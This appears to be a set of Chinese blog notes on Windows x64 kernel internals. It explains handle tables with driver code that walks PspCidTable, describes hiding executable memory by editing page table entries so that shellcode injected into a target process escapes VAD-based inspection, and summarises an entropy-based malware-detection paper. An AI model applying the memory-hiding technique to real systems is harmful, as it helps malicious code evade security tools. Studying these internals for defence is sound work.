  • (bit32~bit47)这一块也是两个字节,16位;这块是访问掩码,是给OpenProcess这个函数用的,即OpenProcess的第一个参数 dwDesiredAccess的值
  • (bit0~bit31)这两块共计四个字节,32位,各个位主要含义如下:
    • bit0:OBJ_PROTECT_CLOSE,表示调用者是否允许关闭该句柄;默认值为1
    • bit1:OBJ_INHERIT,指示该进程创建的子进程是否可以继承该句柄,即是否将该句柄项拷贝到它们的 句柄表中
    • bit2:OBJ_AUDIT_OBJECT_CLOSE,指示关闭该对象时是否产生一个审计事件;默认值为0
    • bit3~31:存放该内核对象在内核中的具体地址

句柄表中存放的是指针,32位就是32位指针

x64 算法:
进程ID(句柄索引) / 4 = 表索引
表索引 * 16 = 全局句柄表条目

x86算法:

进程ID / 4 = 表索引
表索引 * 8 = 全局句柄表条目

为什么 * 8 (16)因为每一项占8(16)字节,前4(8)字节为头,后4(8)字节为地址

_OBJECT_HEADER

当一个进程创建或者打开一个内核对象时,将获得一个句柄,通过这个句柄可以访问对应的内核对象。上面知道可以从句柄低32位获取到内核对象的地址,内核对象在开头都有一个0x30字节的_OBJECT_HEADER结构,这是内核对象的头部,也就是说从0x30字节开始, 才是进程结构体开始的位置。

image-20220714165444894

全局句柄表

全局变量 PspCidTable 存储了全局句柄表 _HANDLE_TABLE 的地址,全局句柄表存储了所有 EPROCESS ETHREAD ,全局句柄表项低32位指向的就是内核对象,而非 OBJECT_HEADER

image-20220714193904141

TableCode最后一位为1,代表句柄表中有两层,当最后一位为0时,代表直接指向句柄表,当最后一位为1时代表指向一个数组,数组中的值才指向的是句柄,这个数组可以存放句柄表的指针,为2时就变成了一个三维数组

image-20220714194647467

X86下_HANDLE_TABLE_ENTRY结构大小为8,x64下结构大小为16,每张表4k大小4k/16=256,所以一张表可以存256个handle。二级三级表存放指针,x64下一个指针地址占用8字节,x86下占用4字节。4k/8=512

1
2
3
4
5
6
7
/*为0时*/

Handle Handle_table[256] = {};

/*为1时*/

Handle_table Handle_table[512][0] = Handle_table;

根据上面的分析我们知道,当前句柄表存储的是512个句柄表数组(大小为0x8)的数组指针,每个句柄表数组有256个成员,每个成员大小为0x10大小, 这里我们查询的目标明显在第一张句柄表中,我们查看目标内存。

image-20220714201137389

image-20220714201250273

这里我们查看PID为4的进程对象,先4/4 = 1(0x01)计算地址公式为:

1
ffffad09`de6b0000 + 0x01 * 16 = ffffad09`de6b0010

**(note:前面提到过PspCidTable表中其表项低32位指向目标的Object,内核句柄表中存储的是Object_Header。)**所以:

1
(c40ae409`80401dc5 >> 0x10) & 0xFFFFFFFFFFFFFFF0 == ffffc40ae4098040

image-20220714203006143

image-20220714203021436

我们成功在全局句柄表中查了目标进程对象,这里我们可以看其对应的Object_Header。圈起来的地方就是64与32的区别,64位Object_Header中已经没有Object_Type结构体指针,取而代之的是TypeIndex

image-20220714203256351

其是一个XOR加密的数据,我们可以逆向解出其数据,公式如下:

1
0x2 ^ 0x80(上图中OBJECT_HEADER地址的倒数第二字节) ^ ObHeaderCookie

其中 ObHeaderCookie 为一个BYTE字节的全局变量,我么可以通过WinDbg查看

image-20220714203628443

计算结果如下:

1
0x2 ^ 0x80 ^ ObHeaderCookie(0x85) == 0x7

这里的0x7对应的是Object_Type中的Index字段(外提一句线程是0x8),我们查看PsProcessType(其为Object_Type结构)

image-20220714203852783

第二种方法:

TypeIndex就在说明内核对象的类型,说明放在了ObTypeIndexTable中,将ObTypeIndexTable首地址:fffff807670fce80,取出来然后+0x2* 8(x86为0x2 * 4):

image-20220714204313626

image-20220714204329658

然后使用_OBJECT_TYPE查看是什么类型(也不知道为啥我这里是Type,大家也可以试试hhh):

image-20220714204746773

第三种方法:既然Object_Header中去除了Object_Type, 那么我们如何快速获取Object对应的Object_Type呢,这里我们可以利用内核导出函数ObGetObjectType,来获取对象对应的OBJECT_TYPE, 函数原型如下:

1
2
// 返回_OBJECT_TYPE指针
NTKERNELAPI PVOID NTAPI ObGetObjectType(IN PVOID pObject/*目标对象结构体指针*/);

可以看一下IDA:

image-20220714205128464

如上图可以看到其是在ObTypeIndexTable中获取对应的OBJECT_TYPE指针, 可以知道其是个OBJECT_TYPE指针数组, 获取公式:

1
ObTypeIndexTable[OBJECT_HEADER.TypeIndex ^ BYTE((OBJECT_HEADER地址 >> 8)) ^ ObHeaderCookie]

实现

首先需要解决的问题是,获取PspCidTable

win7:

1
2
PsLookupProcessByProcessId(被导出) -> PspCidTable
1

win10:

1
PsLookupProcessByProcessId(被导出) -> PspReferenceCidTableEntry -> PspCidTable

image-20220714210434972

image-20220714210523795

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
// 获取 PspCidTable
BOOLEAN get_PspCidTable(ULONG64* tableAddr) {

// 获取 PsLookupProcessByProcessId 地址
UNICODE_STRING uc_funcName;
RtlInitUnicodeString(&uc_funcName, L"PsLookupProcessByProcessId");
ULONG64 ul_funcAddr = MmGetSystemRoutineAddress(&uc_funcName);
if (ul_funcAddr == NULL) {
//DbgPrint("[LYSM] MmGetSystemRoutineAddress error.\n");
return FALSE;
}
//DbgPrint("[LYSM] PsLookupProcessByProcessId:%p\n", ul_funcAddr);

// 前 40 字节有 call(PspReferenceCidTableEntry)
ULONG64 ul_entry = 0;
for (INT i = 0; i < 40; i++) {
if (*(PUCHAR)(ul_funcAddr + i) == 0xe8) {
ul_entry = ul_funcAddr + i;
break;
}
}
if (ul_entry != 0) {
// 解析 call 地址
INT i_callCode = *(INT*)(ul_entry + 1);
//DbgPrint("[LYSM] i_callCode:%X\n", i_callCode);
ULONG64 ul_callJmp = ul_entry + i_callCode + 5;
//DbgPrint("[LYSM] ul_callJmp:%p\n", ul_callJmp);
// 来到 call(PspReferenceCidTableEntry) 内找 PspCidTable
for (INT i = 0; i < 20; i++) {
if (*(PUCHAR)(ul_callJmp + i) == 0x48 &&
*(PUCHAR)(ul_callJmp + i + 1) == 0x8b &&
*(PUCHAR)(ul_callJmp + i + 2) == 0x05) {
// 解析 mov 地址
INT i_movCode = *(INT*)(ul_callJmp+i + 3);
//DbgPrint("[LYSM] i_movCode:%X\n", i_movCode);
ULONG64 ul_movJmp = ul_callJmp+i + i_movCode + 7;
//DbgPrint("[LYSM] ul_movJmp:%p\n", ul_movJmp);
// 得到 PspCidTable
*tableAddr = ul_movJmp;
return TRUE;
}
}
}

// 前 40字节没有 call
else {
// 直接在 PsLookupProcessByProcessId 找 PspCidTable
for (INT i = 0; i < 70; i++) {
if(*(PUCHAR)(ul_funcAddr + i) == 0x49 &&
*(PUCHAR)(ul_funcAddr + i + 1) == 0x8b &&
*(PUCHAR)(ul_funcAddr + i + 2) == 0xdc &&
*(PUCHAR)(ul_funcAddr + i + 3) == 0x48 &&
*(PUCHAR)(ul_funcAddr + i + 4) == 0x8b &&
*(PUCHAR)(ul_funcAddr + i + 5) == 0xd1 &&
*(PUCHAR)(ul_funcAddr + i + 6) == 0x48 &&
*(PUCHAR)(ul_funcAddr + i + 7) == 0x8b){
// 解析 mov 地址
INT i_movCode = *(INT*)(ul_funcAddr+i+6 + 3);
//DbgPrint("[LYSM] i_movCode:%X\n", i_movCode);
ULONG64 ul_movJmp = ul_funcAddr+i+6 + i_movCode + 7;
//DbgPrint("[LYSM] ul_movJmp:%p\n", ul_movJmp);
// 得到 PspCidTable
*tableAddr = ul_movJmp;
return TRUE;
}
}
}

return FALSE;
}

/* 解析一级表
BaseAddr:一级表的基地址
index1:第几个一级表
index2:第几个二级表
*/
VOID parse_table_1(ULONG64 BaseAddr,INT index1,INT index2) {

//DbgPrint("[LYSM] BaseAddr 1:%p\n", BaseAddr);

// 获取系统版本
RTL_OSVERSIONINFOEXW OSVersion = { 0 };
OSVersion.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOEXW);
RtlGetVersion((PRTL_OSVERSIONINFOW)&OSVersion);

// 遍历一级表(每个表项大小 16 ),表大小 4k,所以遍历 4096/16 = 526 次
PEPROCESS p_eprocess = NULL;
PETHREAD p_ethread = NULL;
INT i_id = 0;
for (INT i = 0; i < 256; i++) {
if (!MmIsAddressValid((PVOID64)(BaseAddr + i * 16))) {
//DbgPrint("[LYSM] 非法地址:%p\n", BaseAddr + i * 16);
continue;
}
// win10
if (OSVersion.dwMajorVersion == 10 && OSVersion.dwMinorVersion == 0) {
ULONG64 ul_recode = *(PULONG64)(BaseAddr + i * 16);
// 解密
ULONG64 ul_decode = (LONG64)ul_recode >> 0x10;
ul_decode &= 0xfffffffffffffff0;
// 判断是进程还是线程
i_id = i*4 + 1024*index1 + 512*index2*1024;
if (PsLookupProcessByProcessId(i_id , &p_eprocess) == STATUS_SUCCESS) {
DbgPrint("[LYSM] PID:%d , i:%d , addr:%p , object:%p\n", i_id , i, BaseAddr + i*0x10, ul_decode);
}
else if (PsLookupThreadByThreadId(i_id , &p_ethread) == STATUS_SUCCESS) {
DbgPrint("[LYSM] TID:%d , i:%d , addr:%p , object:%p\n", i_id , i, BaseAddr + i*0x10, ul_decode);
}

}
// win7
if (OSVersion.dwMajorVersion == 6 && OSVersion.dwMinorVersion == 1) {
ULONG64 ul_recode = *(PULONG64)(BaseAddr + i * 16);
// 解密
ULONG64 ul_decode = ul_recode & 0xfffffffffffffff0;
// 判断是进程还是线程
i_id = i*4 + 1024*index1 + 512*index2*1024;
if (PsLookupProcessByProcessId(i_id , &p_eprocess) == STATUS_SUCCESS) {
DbgPrint("[LYSM] PID:%d , i:%d , addr:%p , object:%p\n", i_id , i, BaseAddr + i*0x10, ul_decode);
}
else if (PsLookupThreadByThreadId(i_id , &p_ethread) == STATUS_SUCCESS) {
DbgPrint("[LYSM] TID:%d , i:%d , addr:%p , object:%p\n", i_id , i, BaseAddr + i*0x10, ul_decode);
}
else { continue; }
}
}
}

/* 解析二级表
BaseAddr:二级表基地址
index2:第几个二级表
*/
VOID parse_table_2(ULONG64 BaseAddr, INT index2) {

//DbgPrint("[LYSM] BaseAddr 2:%p\n", BaseAddr);

// 遍历二级表(每个表项大小 8),表大小 4k,所以遍历 4096/8 = 512 次
ULONG64 ul_baseAddr_1 = 0;
for (INT i = 0; i < 512; i++) {
if (!MmIsAddressValid((PVOID64)(BaseAddr + i * 8))) {
//DbgPrint("[LYSM] 非法二级表指针(1):%p\n", BaseAddr + i * 8);
continue;
}
if (!MmIsAddressValid((PVOID64)*(PULONG64)(BaseAddr + i * 8))) {
//DbgPrint("[LYSM] 非法二级表指针(2):%p\n", BaseAddr + i * 8);
continue;
}
ul_baseAddr_1 = *(PULONG64)(BaseAddr + i * 8);
parse_table_1(ul_baseAddr_1, i, index2);
}
}

/* 解析三级表
BaseAddr:三级表基地址
*/
VOID parse_table_3(ULONG64 BaseAddr) {

//DbgPrint("[LYSM] BaseAddr 3:%p\n", BaseAddr);

// 遍历三级表(每个表项大小 8),表大小 4k,所以遍历 4096/8 = 512 次
ULONG64 ul_baseAddr_2 = 0;
for (INT i = 0; i < 512; i++) {
if (!MmIsAddressValid((PVOID64)(BaseAddr + i * 8))) { continue; }
if (!MmIsAddressValid((PVOID64) * (PULONG64)(BaseAddr + i * 8))) { continue; }
ul_baseAddr_2 = *(PULONG64)(BaseAddr + i * 8);
parse_table_2(ul_baseAddr_2, i);
}
}

/* 遍历进程和线程
cidTableAddr:PspCidTable 地址
*/
BOOLEAN enum_PspCidTable(ULONG64 cidTableAddr) {

// 获取 _HANDLE_TABLE 的 TableCode
ULONG64 ul_tableCode = *(PULONG64)(((ULONG64)*(PULONG64)cidTableAddr) + 8);
//DbgPrint("[LYSM] ul_tableCode:%p\n", ul_tableCode);

// 取低 2位(二级制11 = 3)
INT i_low2 = ul_tableCode & 3;
//DbgPrint("[LYSM] i_low2:%X\n", i_low2);

// 一级表
if (i_low2 == 0) {
// TableCode 低 2位抹零(二级制11 = 3)
parse_table_1(ul_tableCode & (~3),0,0);
}
// 二级表
else if (i_low2 == 1) {
// TableCode 低 2位抹零(二级制11 = 3)
parse_table_2(ul_tableCode & (~3),0);
}
// 三级表
else if (i_low2 == 2) {
// TableCode 低 2位抹零(二级制11 = 3)
parse_table_3(ul_tableCode & (~3));
}
else {
DbgPrint("[LYSM] i_low2 非法!\n");
return FALSE;
}

return TRUE;
}

tips

除了进程遍历外,还可以用于反调试。一个进程加载进内存后,可以起一个线程,专门去遍历其他所有进程的句柄表,如果发现,某个进程的句柄表中有自己进程的句柄,说明自己的这个进程可能正在被调试,就算没有在被调试,也至少被打开了,这时就可以强行关闭自己的程序,不被调试,达到反调试的目的。

总结

这一篇知识点比较多,其实主要还是围绕进程句柄表和全局句柄表,现在大多基于64位进行开发,但是网上很多资料都是32位的,参考性较小,所以这里参考了几篇博客进行了总结归纳。

首先从句柄表入手,X86下_HANDLE_TABLE_ENTRY结构大小为8,x64下结构大小为16,每张表4k大小4k/16=256,所以一张表可以存256个handle。二级三级表存放指针,x64下一个指针地址占用8字节,x86下占用4字节。4k/8=512。

EPROCESS偏移0x570处有一个成员ObjectTable,查看该结构类型可以看到偏移0x8处是TableCode也就是句柄表地址,该地址后三位是有关句柄表是几级表的,该地址指向的是OBJECT_HEADER,该结构相当于链表的头部,需要加上0x30的偏移才能定位到真正的链表。

全局变量 PspCidTable 存储了全局句柄表 _HANDLE_TABLE 的地址,全局句柄表存储了所有 EPROCESS ETHREAD ,全局句柄表项低32位指向的就是内核对象,而非 OBJECT_HEADER

关于全局句柄表的ObjectHeader有一个TypeIndex字段,采用了XOR加密,可以采用公式解密,也可以利用导出函数ObGetObjectType,(0x7为进程,0x8为线程)

参考链接:x64下的全局句柄表解析x64遍历枚举解析全局句柄表

x64下隐藏可执行内存

前面讲了PEB断链实现隐藏进程的效果,但是只是表面的进程隐藏,所有内存的详细信息都会被存储在vad树里面。

vad

内存管理器使用需求分页算法来知道何时将页面加载到内存中,直到线程引用地址并导致页面故障,然后再从磁盘中检索页面。与写时复制一样,需求分页是一种惰性评估的形式(等待直到需要时才执行任务。)

内存管理器使用惰性计算不仅可以将页面带入内存,还可以构造描述新页面所需的页面表。例如,当一个线程使用VirtualAlloc提交一个大区域的虚拟内存时,内存管理器可以立即构造访问已分配的整个内存范围所需的页面表。但如果其中一些范围从未被访问过呢?为整个范围创建页面表将是一个浪费时间的工作。相反,内存管理器等待创建一个页面表,直到线程导致页面故障。然后,它将为该页面创建一个页面表。这种方法显著提高了保留以及提交大量内存但访问量稀疏的进程的性能。

使用惰性计算算法,即使是很大的内存块也是一个快速的操作。当一个线程分配内存时,内存管理器必须响应该线程要使用的地址范围。为此,内存管理器维护另一组数据结构,以跟踪哪些虚拟地址已保留在进程的地址空间中,而哪些没有保留。这些数据结构被称为虚拟地址描述符(VADs)。VADs被分配在非分页池中。

VAD(虚拟地址描述符)是管理虚拟内存的,每一个进程有自己单独的一个VAD树,使用VirtualAlloc申请一个内存,则会在VAD树上增加一个结点,其是_MMVAD结构体

image-20220718153145153

StartingVpn和这个EndingVpn是以页为单位

image-20220718163930794

image-20220718164517748

EPROCESS结构中偏移0x7d8处有一个VadRoot成员,其是根结点

image-20220718161129090

VADs被组织成一个自平衡的AVL tree(以其发明者阿德尔森-维尔斯基和兰迪斯的名字命名,其中任何节点的两个子子树的高度最多相差1;这使得插入、查找和删除非常快)。

image-20220718164732040

通过下面可以看到VadRoot,采用指令!vad 红框中地址就可以查看到该进程的vad树

image-20220718161413070

image-20220718161736598

由以上可知,可以通过_EPROCESS.VadRoot遍历VAD二叉树。进程内的所有用户模式线程使用Thread Control Stack上的不同内存区域(Shadow Stack),可以通过遍历进程的VAD自平衡二叉树(self-balancing AVL tree)获取描述进程Thread Control Stack的_MMVAD结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
typedef struct _MMVAD {
/* 0x0000 */ struct _MMVAD_SHORT Core;
union {
union {
/* 0x0040 */ unsigned long LongFlags2;
/* 0x0040 */ struct _MMVAD_FLAGS2 VadFlags2;
}; /* size: 0x0004 */
} /* size: 0x0004 */ u2;
/* 0x0044 */ long Padding_;
/* 0x0048 */ struct _SUBSECTION* Subsection;
/* 0x0050 */ struct _MMPTE* FirstPrototypePte;
/* 0x0058 */ struct _MMPTE* LastContiguousPte;
/* 0x0060 */ struct _LIST_ENTRY ViewLinks;
/* 0x0070 */ struct _EPROCESS* VadsProcess;
union {
union {
/* 0x0078 */ struct _MI_VAD_SEQUENTIAL_INFO SequentialVa;
/* 0x0078 */ struct _MMEXTEND_INFO* ExtendedInfo;
}; /* size: 0x0008 */
} /* size: 0x0008 */ u4;
/* 0x0080 */ struct _FILE_OBJECT* FileObject;
} MMVAD, *PMMVAD; /* size: 0x0088 */

typedef struct _MMVAD_SHORT {
union {
/* 0x0000 */ struct _RTL_BALANCED_NODE VadNode;
/* 0x0000 */ struct _MMVAD_SHORT* NextVad;
}; /* size: 0x0018 */
/* 0x0018 */ unsigned long StartingVpn;
/* 0x001c */ unsigned long EndingVpn;
/* 0x0020 */ unsigned char StartingVpnHigh;
/* 0x0021 */ unsigned char EndingVpnHigh;
/* 0x0022 */ unsigned char CommitChargeHigh;
/* 0x0023 */ unsigned char SpareNT64VadUChar;
/* 0x0024 */ long ReferenceCount;
/* 0x0028 */ struct _EX_PUSH_LOCK PushLock;
union {
union {
/* 0x0030 */ unsigned long LongFlags;
/* 0x0030 */ struct _MMVAD_FLAGS VadFlags;
}; /* size: 0x0004 */
} /* size: 0x0004 */ u;
union {
union {
/* 0x0034 */ unsigned long LongFlags1;
/* 0x0034 */ struct _MMVAD_FLAGS1 VadFlags1;
}; /* size: 0x0004 */
} /* size: 0x0004 */ u1;
/* 0x0038 */ struct _MI_VAD_EVENT_BLOCK* EventList;
} MMVAD_SHORT, *PMMVAD_SHORT; /* size: 0x0040 */

typedef struct _RTL_BALANCED_NODE {
union {
/* 0x0000 */ struct _RTL_BALANCED_NODE* Children[2];
struct {
/* 0x0000 */ struct _RTL_BALANCED_NODE* Left;
/* 0x0008 */ struct _RTL_BALANCED_NODE* Right;
}; /* size: 0x0010 */
}; /* size: 0x0010 */
union {
/* 0x0010 */ unsigned char Red : 1; /* bit position: 0 */
/* 0x0010 */ unsigned char Balance : 2; /* bit position: 0 */
/* 0x0010 */ unsigned __int64 ParentValue;
}; /* size: 0x0008 */
} RTL_BALANCED_NODE, *PRTL_BALANCED_NODE; /* size: 0x0018 */

typedef struct _RTL_AVL_TREE {
/* 0x0000 */ struct _RTL_BALANCED_NODE* Root;
} RTL_AVL_TREE, *PRTL_AVL_TREE; /* size: 0x0008 */

typedef struct _EPROCESS {

struct _RTL_AVL_TREE VadRoot;

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
typedef struct _MMVAD_FLAGS {
struct /* bitfield */ {
/* 0x0000 */ unsigned long VadType : 3; /* bit position: 0 */
/* 0x0000 */ unsigned long Protection : 5; /* bit position: 3 */
/* 0x0000 */ unsigned long PreferredNode : 6; /* bit position: 8 */
/* 0x0000 */ unsigned long NoChange : 1; /* bit position: 14 */
/* 0x0000 */ unsigned long PrivateMemory : 1; /* bit position: 15 */
/* 0x0000 */ unsigned long PrivateFixup : 1; /* bit position: 16 */
/* 0x0000 */ unsigned long ManySubsections : 1; /* bit position: 17 */
/* 0x0000 */ unsigned long Enclave : 1; /* bit position: 18 */
/* 0x0000 */ unsigned long DeleteInProgress : 1; /* bit position: 19 */
/* 0x0000 */ unsigned long PageSize64K : 1; /* bit position: 20 */
/* 0x0000 */ unsigned long RfgControlStack : 1; /* bit position: 21 */
/* 0x0000 */ unsigned long Spare : 10; /* bit position: 22 */
}; /* bitfield */
} MMVAD_FLAGS, *PMMVAD_FLAGS; /* size: 0x0004 */

typedef struct _MI_VAD_EVENT_BLOCK {
/* 0x0000 */ struct _MI_VAD_EVENT_BLOCK* Next;
union {
/* 0x0008 */ struct _KGATE Gate;
/* 0x0008 */ struct _MMADDRESS_LIST SecureInfo;
/* 0x0008 */ struct _RTL_BITMAP_EX BitMap;
/* 0x0008 */ struct _MMINPAGE_SUPPORT* InPageSupport;
/* 0x0008 */ struct _MI_LARGEPAGE_IMAGE_INFO LargePage;
/* 0x0008 */ struct _ETHREAD* CreatingThread;
/* 0x0008 */ struct _MI_SUB64K_FREE_RANGES PebTebRfg;
/* 0x0008 */ struct _MI_RFG_PROTECTED_STACK RfgProtectedStack;
}; /* size: 0x0038 */
/* 0x0040 */ unsigned long WaitReason;
/* 0x0044 */ long __PADDING__[1];
} MI_VAD_EVENT_BLOCK, *PMI_VAD_EVENT_BLOCK; /* size: 0x0048 */

typedef struct _MI_RFG_PROTECTED_STACK {
/* 0x0000 */ void* ControlStackBase;
/* 0x0008 */ struct _MMVAD_SHORT* ControlStackVad;
} MI_RFG_PROTECTED_STACK, *PMI_RFG_PROTECTED_STACK; /* size: 0x0010 */

虚拟内存分为两类:

(1)通过VirtualAlloc/VirtualAllocEx 申请的:Private Memory ,独享物理页

(2)通过CreateFlieMapping映射的:Mapped Memory,多个进程共享物理页。

分页机制

在32位里面有2-9-9-1210-10-12两种分页模式,而在64位下只有一种分页模式,即9-9-9-9-12分页模式。在64位系统中,实际上CPU只使用了其中的48位用于寻址。

9-9-9-9-12分页表示物理地址拥有四级页表,在Intel开发手册中,将这四级页表分别称为PML4EPDPTEPDEPTE,但微软的命名方式略有不同,将这四级页表分别称为PXEPPEPDEPTE,WinDbg中也是如此

启用分页模式条件:cr0.PG = 1cr0.PE = 1

根据不同CPU架构及特性主要分为三种模式,处于哪种模式视寄存器属性不同:

  • 32-bit paging(32位OS): cr0.PG = 1cr4.PAE = 0
  • PAE paging(32位OS且开启了PAE): cr0.PG = 1cr4.PAE = 1IA32_EFER.LME = 0
  • IA-32e paging(64位OS): cr0.PG = 1cr4.PAE = 1IA32_EFER.LME = 1

主要研究的是IA-32e模式下的内存,这里IA-32e提供了三种页转换模型:

  • 4k:PML4T,PDPT,PDT和PT
  • 2M:PML4T,PDPT和PDT
  • 1G:PML4T和PDPT

在4kb小页的情况下,64位可以拆分为以下几段,即9-9-9-9-9-12分页

sign extended – 符号扩展位 — 在线性地址48~63bit

PML4 entry – 在线性地址39~47bit用于索引PML4 entry,指向PDP

PDP entry – 在线性地址的30~38bit用来索引PDP entry,指向PDE

PDE entry – 在线性地址的21~29bit用来索引PDEentry,指向PTE

PTE entry – 在线性地址的12~20bit用来索引PTE entry,指向page offset

page offse t – 在线性地址的0~11bit提供在页中的offset

页表基址

CR3中保存的页表基址是物理地址,程序如果直接访问这个地址,实际上访问的是一个线性地址,会被虚拟内存管理器解析成另一个地址.实际上,操作系统会将当前进程的物理页映射在某个线性地址中,以供程序读取自己的页表内容。

在x86系统中,页表基址是固定的,位于0xC0000000,将这个线性地址进行解析,访问其物理页的内容,会发现从这个地址开始,里面保存的数据为当前程序的所有物理页地址。

而在x64系统中,页表基址不再是固定的值,而是每次系统启动后随机生成的可以在WinDbg中查看0地址对应的线性地址来确定当前的页表基址(!pte 0)。每个物理页占8个字节,例如,第一个物理页地址位于线性地址0xFFFFF38000000000,第二个物理页地址位于线性地址0xFFFF800000000008,每个物理页中包含1024个字节的数据。

MmIsAddressValid

探索系统的分页机制最好的办法是对内核中的 MiIsAddressValid 函数的实现进行分析。win7和win10的64位系统下使用的是两种不同的查找 ptepdepdptepml4e 的方式。接下来分别对两个系统的该函数进行相应的分析

win7 64位下的函数分析

image-20220718173242799

首先通过移位,查看前16位是否为全0或者全1,如果不是,返回不合法。然后通过移位分别分出9-9-9-9-12这5部分,然后加上相应的基址,找到对应的 pte,pde,pdpte,pml4e ,并判断P位是否为0。如果为0返回不合法。

该函数较为简单,将减去的数值取反加一可以得到对应的基址。可得在win7 64位下,其 PTE_BASEfffff68000000000

win10 64位下的函数分析

win10 1607 以上版本,微软为分页基址加上了随机页目录基址,这让定位 pte 变得更加困难。 PTE_BASE 不再是之前写死的值,而是每次开机都会随机在一定的范围内挑选一个值。而在 win10 64 位下的 MmIsAddressValidEx 函数中,其更换了另外一套寻找 pte,pde,pdpte,pml4e 的方法,如下

image-20220718173735557

可以看到这里计算 pte,pde,pdpte,pml4e 的时候用的都只有一个 pte_base ,不再像win7那样求每个值的时候都使用一个不同的基址。

实现

在申请一块不可执行的内存后通过修改 ptepde 手动将页面设置为可执行,达到隐藏可执行内存的目的。

首先是定位定位PTEPDEPPEPXEPTE_BASE有两种情况,当是Win10 1607以上,就需要自己通过逆向的方式提取硬编码进行定位,这里通过MmGetVirtualForPhysical函数加偏移的方式进行定位。

image-20220718195402087

image-20220718195002005

image-20220718193319749

然后是一个分配内存的函数,可以往指定pid的进程中写入shellcode,并隐藏其可执行属性,使这块内存在vad树中看来是不可执行的。

我们找到目标进程,然后通过KeStackAttachProcess函数实现进程挂靠,即把自己的cr3换成目标进程的cr3(CR3含有存放页目录表页面的物理地址)。

然后使用ZwAllocateVirtualMemory先分配一块可读可写的内存。

image-20220718195106508

首先将前3位符号位去掉得到内存的起始地址和结束地址,然后循环判断,必须每一块内存都需要修改。结合MmIsAddressValid并判断valid是否为1,这里如果valid为0则该块内存无效,然后将no_execute置0即可获得可执行权限

image-20220718195537373

总结

其实就是通过修改pde和pte属性隐藏可执行内存,在编写这样的驱动的过程中也能巩固对x64分页机制的认识。

参考链接:x64下隐藏可执行内存hide_excute_memory

参考链接:主要参考博客

摘要

​ 熵是一种用于识别恶意软件的典型指标。结构熵是一个熵值的序列,其中一个分段的熵是由熵本身的方程计算出来的。然而,基于熵的特征很可能是抽象的,并且遗漏了重要的信息。本文提出了一种涉及结构熵概念的特征工程技术。这种技术允许将每个节段表示为每个字节值的256个熵值,但不能表示为一个熵值。我们的研究是**细粒度结构熵(FiG_SE)**,它包含了所有段的全局模式、相邻段的局部模式以及段内的内部模式。为了从我们的熵特征中提取更高层次的特征,我们使用了卷积神经网络(CNN)架构,因为它可以有效地提取局部和全局模式,特别是对于移位不变模式。此外,我们与CNN相结合的研究对混淆技术具有很强的弹性,也非常适合于恶意软件的检测。

主要工作

  • 我们提出了一种新的处理二进制文件的特征工程方法。该方法具有提取二进制文件的全局属性和段中的局部属性的能力,这是通过关注具有字节粒度的二进制文件的段来实现的。
  • 与以前的分类模型相比,我们使用FiG_SE的分类模型在训练数据集上具有竞争性能,在基于微软恶意软件分类挑战数据集标准的测试数据集上具有最佳性能。
  • 我们证明了FiG_SE对混淆技术具有很强的弹性。
  • FiG_SE对不同的基于熵的特征具有优越的泛化性能;与现有的其他特征相比,它具有更高的准确率和F1分数。

通常的结构熵一般是将二进制文件分成相等长度的段,然后计算每个段的熵值。该篇文章中的方法是,将每一个段用256个熵值表示,而不是单个熵值。为此,先将一个文件分成几个部分,类似于结构熵。然后,为每个段提取256个不同字节值的熵值。因此,FiG_SE形成了一个向量序列,每个向量序列由所有二进制段的256个熵值组成。

image-20220706150958183

一个段表示为从0×00到0×FF的256个熵值。关于段的详细信息有助于解决通过将段抽象为单个熵值而产生的段之间的模糊性。因此,提出的熵分析可以通过分析熵值来区分具有相同熵的段。

FiG_SE通过以下步骤提取:首先,将文件划分为大小相同的段。其次,每个段内256个不同字节的熵值由公式“**P(i)log2P(i)**”计算。最后,附加每个段的合成值。该特征最终形成为一个向量序列,每个二进制文件的每个段有256个熵值。如上图所示,FiG_SE是每个文件n个段的n个向量的序列,其中一个段的向量在0×00到0×FF之间有256个熵值。

模型架构

采用CNN作为我们的分类模型的底层架构,有两个原因。首先,CNN可以有效地识别低水平特征和高级特征。在我们的特征域中,低级特征表示一个段或相邻段的局部模式,而高级特征表示跨所有段的全局模式。其次,我们利用CNN的移位不变模式的功能。二进制文件中的字节序列(例如,代码片段和函数)可以被编译器自动重新定位,或被黑客恶意地重新定位。CNN的使用允许分类模型通过识别不同的模式来捕获二进制文件中存在的移位不变模式。

它由三个卷积层组成,每个卷积层后面都是一个池化层、三个全连接层和一个分类层。FiG_SE的二维(2D)特征向量作为输入输入CNN,并划分为一个恶意软件家族。

第一层识别分段中或相邻段之间的局部特征,后一层根据前一层提取的特征图捕获全局特征。随后,三个完全连接的层采用提取的高级特征,输出9个恶意软件家族。为此,最后一个卷积层的特征在第一个完全连接层之前被平坦为一个一维向量。softmax层作为最终的分类层。softmax函数通过计算之前完全连接层的合成值来生成归一化概率分布。在这个模型中,返回了9个类的归一化概率分布。然后,对FiG_SE特征预测一个概率值最高的类

image-20220706155633427

CmRegisterCallback

64位系统下微软提供了CmRegisterCallback这个回调函数来实时监控注册表的操作,那详细探究一下其实现的原理。

1
2
3
4
5
NTSTATUS CmRegisterCallback(
[in] PEX_CALLBACK_FUNCTION Function,
[in, optional] PVOID Context,
[out] PLARGE_INTEGER Cookie
);

上面为其结构,详细参数如下:

参数 说明
Function 指向RegistryCallback例程的指针,这个参数就是用来监控注册表操作的回调函数
